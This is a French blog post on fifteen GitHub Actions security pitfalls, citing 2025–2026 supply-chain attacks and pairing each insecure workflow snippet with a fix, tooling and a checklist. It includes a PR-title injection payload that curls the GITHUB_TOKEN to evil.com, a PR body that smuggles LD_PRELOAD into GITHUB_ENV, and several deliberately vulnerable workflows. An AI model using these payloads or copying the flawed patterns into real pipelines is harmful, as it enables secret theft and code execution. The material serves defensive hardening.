GitHub Actions : 15 pièges de sécurité qui exposent vos pipelines

Publié le 2 mars 2026

26 min de lecture

#github-actions#securite#supply-chain#devsecops#ci-cd

Vos workflows GitHub Actions sont probablement vulnérables. Ce n’est pas une hypothèse : en 2025, les attaques sur les pipelines CI/CD ont explosé. Shai Hulud v2, GhostAction, tj-actions/changed-files, ArtiPACKED, l’attaque contre Trivy par hackerbot-claw — toutes ces campagnes exploitent les mêmes erreurs de configuration que la majorité des équipes commettent encore (moi compris).

L’OWASP a formalisé un Top 10 des risques CI/CD, le GitHub Security Lab documente des Pwn Requests depuis 2021, et Palo Alto Unit 42 a démontré avec ArtiPACKED qu’on pouvait prendre le contrôle de dépôts Google, Microsoft et Red Hat via une race condition sur les artefacts. Pourtant, ces erreurs persistent.

Cet article passe en revue 15 pièges concrets, classés du plus basique au plus subtil, avec pour chacun un exemple exploitable et un remède actionnable.

Les attaques réelles de 2025-2026

Avant de lister les pièges, regardons ce qui s’est passé dans la vraie vie. Ces attaques ne sont pas théoriques — elles ont touché des projets que vous utilisez probablement.

Attaque	Date	Impact	Vecteur principal
ArtiPACKED (Unit 42)	Août 2024	Google, Microsoft, Red Hat, AWS, OWASP	Race condition artefacts, `GITHUB_TOKEN` dans `.git/config`
tj-actions/changed-files	Mars 2025	23 000+ dépôts, secrets exfiltrés dans les logs	PAT volé, tags réécrits
Gluestack/gluestack-ui	Juin 2025	17 packages npm compromis	Injection de commande via discussions
Nx “s1ngularity”	Août 2025	2 000+ dépôts, vol de clés SSH et wallets	Packages npm malveillants via GHA
GhostAction	Sept. 2025	327 comptes, 817 repos, 3 325 secrets volés	`pull_request_target` + permissions larges
Shai Hulud v2	Nov. 2025	20 000+ repos, 1 700 versions npm infectées	Ver auto-réplicant via `pull_request_target`
hackerbot-claw / Trivy	Fév. 2026	Dépôt Trivy vidé, releases supprimées	Bot IA, `pull_request_target` + GITHUB_TOKEN write

Le constat est clair : les mêmes vecteurs reviennent à chaque fois. Corrigez ces 15 points et vous bloquez la quasi-totalité des attaques connues pour le moment.

Piège n°1 — Secrets codés en dur dans les workflows

Le plus basique, mais toujours d’actualité — l’OWASP le classe en risque CICD-SEC-6. Un token, une clé API ou un mot de passe écrit directement dans le YAML du workflow est visible par quiconque a accès au dépôt. Et même après suppression, il reste dans l’historique Git.

# ❌ Le token est visible par tous
- run: docker login -u monuser -p dckr_pat_SuP3rS3cr3t

# ✅ Utiliser les secrets GitHub
- uses: docker/login-action@v3
  with:
    username: ${{ secrets.DOCKERHUB_USERNAME }}
    password: ${{ secrets.DOCKERHUB_TOKEN }}

Remède : stockez tout dans GitHub Secrets (dépôt ou organisation). Ajoutez un scanner comme TruffleHog ou Gitleaks en hook pre-commit pour bloquer les fuites avant même qu’elles n’atteignent le dépôt distant.

Piège n°2 — Secrets exposés trop largement

Même avec GitHub Secrets, définir les variables d’environnement au niveau du job rend les secrets accessibles à toutes les étapes, y compris celles qui n’en ont pas besoin. Une dépendance malveillante installée par npm install a alors accès à vos credentials AWS.

# ❌ Les clés AWS sont accessibles à TOUTES les étapes
jobs:
  build-and-deploy:
    runs-on: ubuntu-latest
    env:
      AWS_ACCESS_KEY_ID: ${{ secrets.AWS_KEY }}
      AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET }}
    steps:
      - run: npm install    # Cette étape a accès aux clés AWS !
      - run: npm test       # Celle-ci aussi !
      - run: ./deploy.sh    # Seule celle-ci en a besoin

# ✅ Secrets scopés à l'étape qui en a besoin
jobs:
  build-and-deploy:
    runs-on: ubuntu-latest
    steps:
      - run: npm install
      - run: npm test
      - run: ./deploy.sh
        env:
          AWS_ACCESS_KEY_ID: ${{ secrets.AWS_KEY }}
          AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET }}

Remède : scopez les secrets au niveau step, pas job. Utilisez les environnements GitHub (staging, production) pour isoler les secrets sensibles et exiger une approbation avant déploiement. GitHub détaille cette pratique dans Security hardening for GitHub Actions.

Piège n°3 — Credentials statiques à longue durée de vie

Un token qui n’expire jamais est un cadeau pour un attaquant. Une fois volé, il offre un accès permanent. Le ver Shai Hulud v2 reposait massivement sur le vol de tokens persistants — si ces tokens avaient eu un TTL d’une heure, la propagation aurait été sévèrement limitée.

# ✅ OIDC : tokens éphémères, pas de secret stocké
jobs:
  deploy:
    runs-on: ubuntu-latest
    permissions:
      id-token: write
      contents: read
    steps:
      - uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502 # v4.0.2
        with:
          role-to-assume: arn:aws:iam::123456789012:role/github-deploy
          aws-region: eu-west-1

Remède : utilisez OIDC (OpenID Connect) pour les déploiements cloud (AWS, Azure, GCP), comme le détaille GitHub dans Security hardening with OpenID Connect. Les tokens sont générés à la volée, expirent en quelques minutes, et aucun secret n’est stocké dans GitHub. Pour les autres cas, intégrez HashiCorp Vault avec des secrets dynamiques.

Piège n°4 — Permissions GITHUB_TOKEN trop larges

C’est le piège le plus exploité. C’est un accélérateur critique des attaques Shai Hulud v2 et GhostAction. Un GITHUB_TOKEN avec write-all (ou sans permissions: déclarées sur un vieux dépôt) permet à un workflow compromis de modifier le code, créer des releases, publier des packages — et persister dans le dépôt.

# ❌ Le workflow peut TOUT faire
permissions: write-all

# ✅ Principe de moindre privilège
permissions: {}  # Zéro par défaut

jobs:
  test:
    permissions:
      contents: read
    runs-on: ubuntu-latest
    steps: ...

  publish:
    permissions:
      contents: read
      packages: write   # Uniquement pour ce job
    runs-on: ubuntu-latest
    steps: ...

Remède : déclarez permissions: {} au niveau workflow, puis accordez les permissions minimales par job. Vérifiez aussi les paramètres du dépôt dans Settings > Actions > General > Workflow permissions : sélectionnez “Read repository contents and packages permissions”. L’audit excessive-permissions de zizmor détecte automatiquement les workflows non conformes, tout comme la règle default_permissions_on_risky_events de poutine qui cible les workflows déclenchés par des événements sensibles sans bloc permissions.

Pour un guide détaillé, voir Permissions GitHub Actions (en cours d’écriture).

Piège n°5 — Injection de commandes via `${{ }}`

L’interpolation ${{ }} se fait avant l’exécution du shell, sans aucun échappement. Si un attaquant contrôle le titre d’une issue, le nom d’une branche ou le corps d’une PR, il peut injecter du code arbitraire.

# ❌ Injection possible via le titre de la PR
- run: echo "PR: ${{ github.event.pull_request.title }}"

# Un attaquant crée une PR avec le titre :
#   "; curl https://evil.com/steal?t=$GITHUB_TOKEN #
# Le shell exécute :
#   echo "PR: "; curl https://evil.com/steal?t=ghs_xxx... #"

# ✅ Passer par une variable d'environnement
- run: echo "PR: $PR_TITLE"
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}

Remède : ne jamais interpoler ${{ github.event.* }} directement dans un bloc run:. Passez toujours par env:. Cette règle s’applique à toutes les données contrôlées par des utilisateurs : titres, labels, corps de PR/issues, inputs de workflow_dispatch, noms de branches. GitHub documente ce vecteur dans Understanding the risk of script injections, et l’audit template-injection de zizmor le détecte automatiquement. La règle injection de poutine couvre le même vecteur sur GitHub Actions, GitLab CI et Azure DevOps.

Piège n°6 — Actions tierces non épinglées par SHA

Selon Wiz, seuls 3,9 % des dépôts épinglent 100 % de leurs actions par SHA. La grande majorité utilise des tags mutables (@v4, @latest, @main) qui peuvent être réécrits par un attaquant ayant compromis le compte du mainteneur — ou même par un impostor commit exploitant le système de forks de GitHub (un commit d’un fork peut être référencé via le slug du dépôt parent).

C’est exactement ce qui s’est passé avec tj-actions/changed-files : les tags existants ont été déplacés vers du code malveillant. Tous les workflows utilisant @v1 ont instantanément exécuté le code de l’attaquant.

# ❌ Tag mutable — vous ne contrôlez pas ce qui s'exécute
- uses: actions/checkout@v4

# ✅ SHA immuable + commentaire de version
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2

Remède : épinglez toutes les actions par SHA complet (40 caractères). Utilisez pin-github-action ou StepSecurity pour automatiser la conversion. Activez Dependabot pour github-actions afin de recevoir les mises à jour de sécurité.

Pour le guide complet : Épingler les actions par SHA.

Piège n°7 — Actions tierces vulnérables ou non auditées

Au-delà de l’épinglage, les actions tierces exécutent du code avec vos permissions. Une action populaire n’est pas forcément sûre. Les 23 000+ dépôts touchés par tj-actions/changed-files faisaient confiance à une action largement utilisée.

Remède :

Activez Dependabot pour recevoir les alertes de vulnérabilités
Auditez le code source des actions critiques avant adoption
Forkez les actions sensibles dans votre organisation
Utilisez l’allowlist GitHub pour restreindre les actions autorisées
Vérifiez le badge “Verified creator” sur le Marketplace (nécessaire mais pas suffisant)

L’OWASP CICD-SEC-3 (Dependency Chain Abuse) couvre spécifiquement ce vecteur d’attaque. poutine détecte les actions avec des CVE connues (known_vulnerability_in_build_component) et celles provenant de créateurs non vérifiés (github_action_from_unverified_creator_used).

Piège n°8 — Empoisonnement d’artefacts entre workflows

Un workflow déclenché par une PR crée un artefact. Un second workflow plus privilégié (déclenché par workflow_run) télécharge et exécute cet artefact. Si le premier workflow vient d’un fork, l’artefact peut contenir du code malveillant qui s’exécutera avec les permissions du second workflow.

# ❌ L'artefact d'une PR peut écraser des fichiers critiques
- uses: actions/download-artifact@v4
  with:
    name: build-output

# ✅ Télécharger dans un répertoire isolé + vérifier l'intégrité
- uses: actions/download-artifact@v4
  with:
    name: build-${{ github.sha }}
    path: ${{ runner.temp }}/artifacts/

Remède : ne jamais consommer d’artefacts de PRs dans des workflows privilégiés. Utilisez des noms d’artefacts basés sur le SHA (non prédictibles). Vérifiez l’intégrité par hash SHA-256. Pour les releases, reconstruisez toujours depuis le code source canonique. Voir OWASP CICD-SEC-9 (Improper Artifact Integrity Validation) pour le cadre de référence.

Piège n°9 — `pull_request_target` : la Pwn Request

C’est le piège le plus dévastateur. pull_request_target exécute le workflow dans le contexte du dépôt cible (avec secrets et token write) mais peut checkout du code d’un fork non vérifié. C’est la porte d’entrée principale des attaques Shai Hulud v2, GhostAction et hackerbot-claw.

Le scénario d’exploitation (dit « Pwn Request ») :

L’attaquant fork le dépôt cible
Il modifie un script de build ou ajoute du code malveillant
Il ouvre une PR, déclenchant pull_request_target
Le workflow s’exécute avec les privilèges du dépôt cible et checkout le code du fork → exécution de code arbitraire avec accès aux secrets

# ❌ Pwn Request classique
on:
  pull_request_target:
    types: [opened, synchronize]

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
        with:
          ref: ${{ github.event.pull_request.head.sha }}  # Code du fork !
      - run: npm install && npm test  # Exécution avec accès aux secrets

Remède : privilégiez pull_request (pas d’accès aux secrets pour les forks). Si pull_request_target est indispensable, ne faites jamais de checkout du code de la PR. Utilisez des conditions if pour restreindre l’exécution.

La règle untrusted_checkout_exec de poutine détecte précisément ce schéma : checkout d’un fork suivi d’une exécution de code.

Guide dédié : Sécuriser pull_request_target (en cours d’écriture).

Piège n°10 — Runners sans contrôle réseau ni isolation

Un runner compromis avec un accès réseau illimité peut exfiltrer vos secrets via HTTP, DNS ou même ICMP — un scénario couvert par l’OWASP CICD-SEC-7 (Insecure System Configuration). Les runners self-hosted persistants sont particulièrement dangereux : un job malveillant peut installer une backdoor qui survit aux exécutions suivantes.

Remède :

GitHub-hosted : ajoutez Harden Runner comme première étape de chaque job pour surveiller puis bloquer les connexions sortantes non autorisées
Self-hosted : utilisez des runners éphémères (détruits après chaque job), isolez les pools par environnement, ne mélangez jamais dev et prod
Dans tous les cas : pas de sudo, pas de Docker socket exposé, logs centralisés vers un SIEM

La règle pr_runs_on_self_hosted de poutine détecte les workflows déclenchés par pull_request qui s’exécutent sur des runners self-hosted.

steps:
  # Première étape obligatoire
  - uses: step-security/harden-runner@17d0e2bd7d51742c71671bd19fa12bdc9d40a3d6
    with:
      egress-policy: block
      allowed-endpoints: >
        github.com:443
        registry.npmjs.org:443

Piège n°11 — Empoisonnement du cache GitHub Actions

GitHub Actions partage un cache entre toutes les branches d’un dépôt. Un attaquant ayant accès à une branche (même via une PR) peut empoisonner le cache avec des dépendances modifiées. Lors du workflow de release, le cache est restauré avec le contenu malveillant, compromettant les artefacts publiés.

Ce scénario, documenté par Adnan Khan sous le nom Cacheract, est d’autant plus dangereux que le cache est invisible dans les logs. L’outil zizmor détecte automatiquement cette vulnérabilité dans vos workflows.

Remède : ne restaurez jamais de cache dans les workflows de release ou de publication. Désactivez la restauration de cache dans les étapes critiques avec l’option lookup-only quand l’action le supporte. Séparez les workloads de build et de release dans des workflows distincts.

Piège n°12 — `GITHUB_ENV` et `GITHUB_PATH` : injection silencieuse

L’écriture dans GITHUB_ENV ou GITHUB_PATH depuis un workflow déclenché par pull_request_target ou workflow_run est un vecteur d’exécution de code arbitraire. Un attaquant qui contrôle une valeur écrite dans GITHUB_ENV peut définir LD_PRELOAD pour charger une bibliothèque malveillante dans toutes les étapes suivantes. Celui qui contrôle GITHUB_PATH peut shadower n’importe quel binaire système (ssh, git, curl).

Synacktiv a documenté cette technique dans GitHub Actions exploitation: environment manipulation, et le GitHub Security Lab l’a retrouvée dans Litestar, Google et Apache.

# ❌ Écriture non contrôlée dans GITHUB_ENV
- run: echo "CONFIG=${{ github.event.pull_request.body }}" >> "$GITHUB_ENV"
# Un attaquant met dans le body de la PR :
#   dummy
#   LD_PRELOAD=/tmp/evil.so

# ✅ Utiliser GITHUB_OUTPUT au lieu de GITHUB_ENV
- run: echo "config_value=$SAFE_VALUE" >> "$GITHUB_OUTPUT"
  id: config

Remède : n’écrivez jamais de données contrôlées par un utilisateur dans GITHUB_ENV ou GITHUB_PATH. Préférez GITHUB_OUTPUT pour passer des données entre étapes. L’audit github-env de zizmor détecte ces cas automatiquement.

Piège n°13 — `secrets: inherit` dans les reusable workflows

Les reusable workflows appelés avec secrets: inherit reçoivent tous les secrets du workflow appelant, sans distinction. C’est une violation directe du principe de moindre privilège : un reusable workflow partagé entre équipes obtient des secrets dont il n’a pas besoin.

# ❌ Le reusable workflow reçoit TOUS les secrets
jobs:
  deploy:
    uses: ./.github/workflows/deploy.yml
    secrets: inherit

# ✅ Passage explicite des secrets nécessaires
jobs:
  deploy:
    uses: ./.github/workflows/deploy.yml
    secrets:
      DEPLOY_TOKEN: ${{ secrets.DEPLOY_TOKEN }}

Remède : passez toujours les secrets explicitement via le bloc secrets:. Ne transmettez que ceux dont le reusable workflow a réellement besoin. L’audit secrets-inherit de zizmor détecte automatiquement cette mauvaise pratique.

Piège n°14 — Tokens `actions/checkout` persistés sur disque

Par défaut, actions/checkout persiste le GITHUB_TOKEN dans .git/config du répertoire cloné. C’est ce comportement qui a rendu possible l’attaque ArtiPACKED de Palo Alto Unit 42 : des projets Google, Microsoft et Red Hat uploadaient leurs artefacts en incluant le répertoire .git, exposant publiquement leur GITHUB_TOKEN ou leur ACTIONS_RUNTIME_TOKEN.

# ❌ Le token est persisté dans .git/config
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2

# ✅ Désactiver la persistance
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
  with:
    persist-credentials: false

Remède : ajoutez persist-credentials: false à tous vos actions/checkout sauf lorsque vous avez besoin d’opérations git authentifiées. C’est l’une des premières vérifications effectuées par zizmor (audit artipacked).

Piège n°15 — Conditions de bot falsifiables

De nombreux workflows accordent des privilèges spéciaux aux bots comme Dependabot via une condition if: github.actor == 'dependabot[bot]'. Problème : github.actor désigne le dernier acteur ayant agi sur le contexte du trigger, pas forcément celui qui l’a déclenché. Un attaquant peut créer une PR dont le dernier commit provient de dependabot[bot] (via un rebase ciblé), bypasser la vérification et exécuter du code privilégié.

# ❌ Facilement contournable
on: pull_request_target
jobs:
  automerge:
    if: github.actor == 'dependabot[bot]'
    runs-on: ubuntu-latest
    steps:
      - run: gh pr merge --auto --merge "$PR_URL"

# ✅ Vérifier l'auteur de la PR, pas le dernier acteur
on: pull_request_target
jobs:
  automerge:
    if: github.event.pull_request.user.login == 'dependabot[bot]' && github.repository == github.event.pull_request.head.repo.full_name
    runs-on: ubuntu-latest
    steps:
      - run: gh pr merge --auto --merge "$PR_URL"

Synacktiv a détaillé cette exploitation dans GitHub Actions exploitations: Dependabot.

Remède : utilisez github.event.pull_request.user.login au lieu de github.actor. Ajoutez une vérification github.repository == github.event.pull_request.head.repo.full_name pour bloquer les forks. La règle confused_deputy_auto_merge de poutine détecte automatiquement les workflows d’auto-merge basés sur github.actor.

Un outillage encore immature

L’un des problèmes majeurs de la sécurité GitHub Actions est le manque d’outillage mature et intégré. Comparons avec GitLab CI : GitLab intègre nativement des fonctionnalités de sécurité pipeline (SAST, secret detection, dependency scanning) et dispose d’outils dédiés comme Plumber, un scanner spécialisé dans l’analyse des pipelines GitLab CI pour détecter les mauvaises configurations de sécurité.

Côté GitHub Actions, rien d’équivalent n’est intégré nativement. Il faut assembler soi-même une chaîne d’outils tiers, chacun couvrant un aspect du problème :

Outil	Focus	Ce qu’il détecte
actionlint	Syntaxe + sécurité basique	Erreurs YAML, injection `${{ }}`, shellcheck intégré
zizmor	Sécurité dédiée GHA (3 700+ stars)	28+ audits : injection, permissions, cache poisoning, impostor commits, ArtiPACKED, bot conditions…
poutine	Sécurité multi-plateforme	GitHub Actions + GitLab CI + Azure DevOps + Tekton. 13 règles OPA/Rego, analyse par org entière
Scorecard	Posture globale du dépôt	Score 0-10 basé sur les pratiques de sécurité
Harden Runner	Runtime	Détection d’exfiltration réseau en temps réel
Gitleaks	Secrets	Détection de clés et tokens dans le code et l’historique
TruffleHog	Secrets	Vérification active que les secrets trouvés sont encore valides
pinact	Pinning SHA	Conversion et mise à jour automatique des tags → SHA

L’outil le plus prometteur est zizmor, un analyseur statique dédié spécifiquement à GitHub Actions. Écrit en Rust, il détecte 28+ vulnérabilités connues avec un taux de faux positifs minimal. Il gère même les impostor commits (un commit de fork référencé via le dépôt parent) et le cache poisoning — deux vecteurs que les autres outils ignorent largement.

poutine complète zizmor avec une approche multi-plateforme. Là où zizmor se spécialise sur GitHub Actions avec 28+ audits très précis, poutine couvre aussi GitLab CI, Azure DevOps et Tekton avec 13 règles écrites en OPA/Rego. Sa commande analyze_org permet de scanner tous les dépôts d’une organisation en une passe — idéal pour un audit initial. Voir le guide complet poutine.

Le problème reste que aucun de ces outils n’est intégré nativement à GitHub. Côté GitLab, la sécurité pipeline est un citoyen de première classe. Côté GitHub, il faut tout assembler et maintenir soi-même. C’est un écart significatif qui explique en partie pourquoi tant de dépôts restent vulnérables.

Checklist de durcissement

Utilisez cette liste avant chaque merge d’un workflow :

Catégorie	Vérification	Priorité
Permissions	`permissions: {}` au niveau workflow	Critique
Permissions	`write` uniquement au niveau job	Critique
Permissions	Pas de `write-all` ni `permissions:` omis	Critique
Actions	Toutes épinglées par SHA 40 caractères	Critique
Actions	Dependabot activé pour `github-actions`	Haute
Actions	Pas d’actions archivées ou non maintenues	Haute
Secrets	Pas de secret en dur dans le YAML	Critique
Secrets	Secrets scopés au step, pas au job	Haute
Secrets	Environnements séparés (staging/prod)	Haute
Secrets	Pas de `secrets: inherit` dans les reusable workflows	Haute
Checkout	`persist-credentials: false` partout	Haute
Injection	Pas de `${{ github.event.* }}` dans `run:`	Critique
Injection	Pas d’écriture non contrôlée dans `GITHUB_ENV` / `GITHUB_PATH`	Critique
Triggers	Pas de `pull_request_target` + checkout PR	Critique
Triggers	Conditions bot via `pull_request.user.login` (pas `actor`)	Haute
Cache	Pas de restauration de cache dans les workflows de release	Haute
Runners	Harden Runner en première étape	Haute
Runners	Self-hosted éphémères uniquement	Haute
Audit	zizmor + poutine + Scorecard dans le pipeline	Moyenne

Ce que j’ai changé sur mon homelab

Après l’incident Trivy et ces recherches, voici ce que j’ai appliqué sur mes propres dépôts :

Toutes les actions épinglées par SHA — plus aucun @v4 dans mes workflows, avec pinact pour la maintenance
permissions: {} systématique — puis permissions minimales par job
persist-credentials: false partout — sauf quand j’ai besoin d’opérations git authentifiées
Harden Runner en première étape — en mode audit d’abord, puis block après analyse des endpoints légitimes
Dependabot activé pour github-actions avec review hebdomadaire
Gitleaks dans le pipeline — bloque le merge si un secret est détecté
Suppression de tout pull_request_target — remplacé par des workflows pull_request + workflow_run quand nécessaire
zizmor + poutine en CI — analyse automatique de chaque modification de workflow, poutine pour les audits multi-plateforme

À retenir

Les attaques supply chain sur GitHub Actions ne sont plus des scénarios hypothétiques. En 2025-2026, elles ont touché des dizaines de milliers de dépôts, volé des milliers de secrets, et compromis des chaînes de livraison entières.

La bonne nouvelle : les 15 pièges identifiés couvrent la quasi-totalité des vecteurs exploités. Corrigez-les et vous bloquez la majorité des attaques connues. Ce n’est pas une question d’outils sophistiqués — c’est une question de discipline : permissions minimales, SHA partout, inputs jamais interpolés, secrets isolés, runners surveillés.

Pour aller plus loin, les trois outils complémentaires sont couverts en détail :

Scanner avec zizmor (spécialiste GitHub Actions),
Scanner avec poutine (multi-plateforme)
Scanner avec plumber (GitLab CI).

Le guide complet de sécurité GitHub Actions est disponible dans la section Sécurité GitHub Actions.

Sources

OWASP — Top 10 CI/CD Security Risks
GitHub — Security hardening for GitHub Actions
GitHub Security Lab — Keeping your GitHub Actions and workflows secure
Palo Alto Unit 42 — ArtiPACKED: Hacking Giants Through a Race Condition in GitHub Actions Artifacts (août 2024)
Synacktiv — GitHub Actions exploitation: environment manipulation
Synacktiv — GitHub Actions exploitation: Dependabot
Adnan Khan — Cacheract: the monster in your build cache (décembre 2024)
zizmor — Audits de sécurité GitHub Actions
StepSecurity — hackerbot-claw GitHub Actions exploitation (mars 2026)
Arctiq — Top 10 GitHub Actions Security Pitfalls (janvier 2026)
poutine — Scanner de sécurité CI/CD multi-plateforme
plumber — Scanner de sécurité GitLab CI
Mon retour d’expérience — Trivy vidé après une attaque supply chain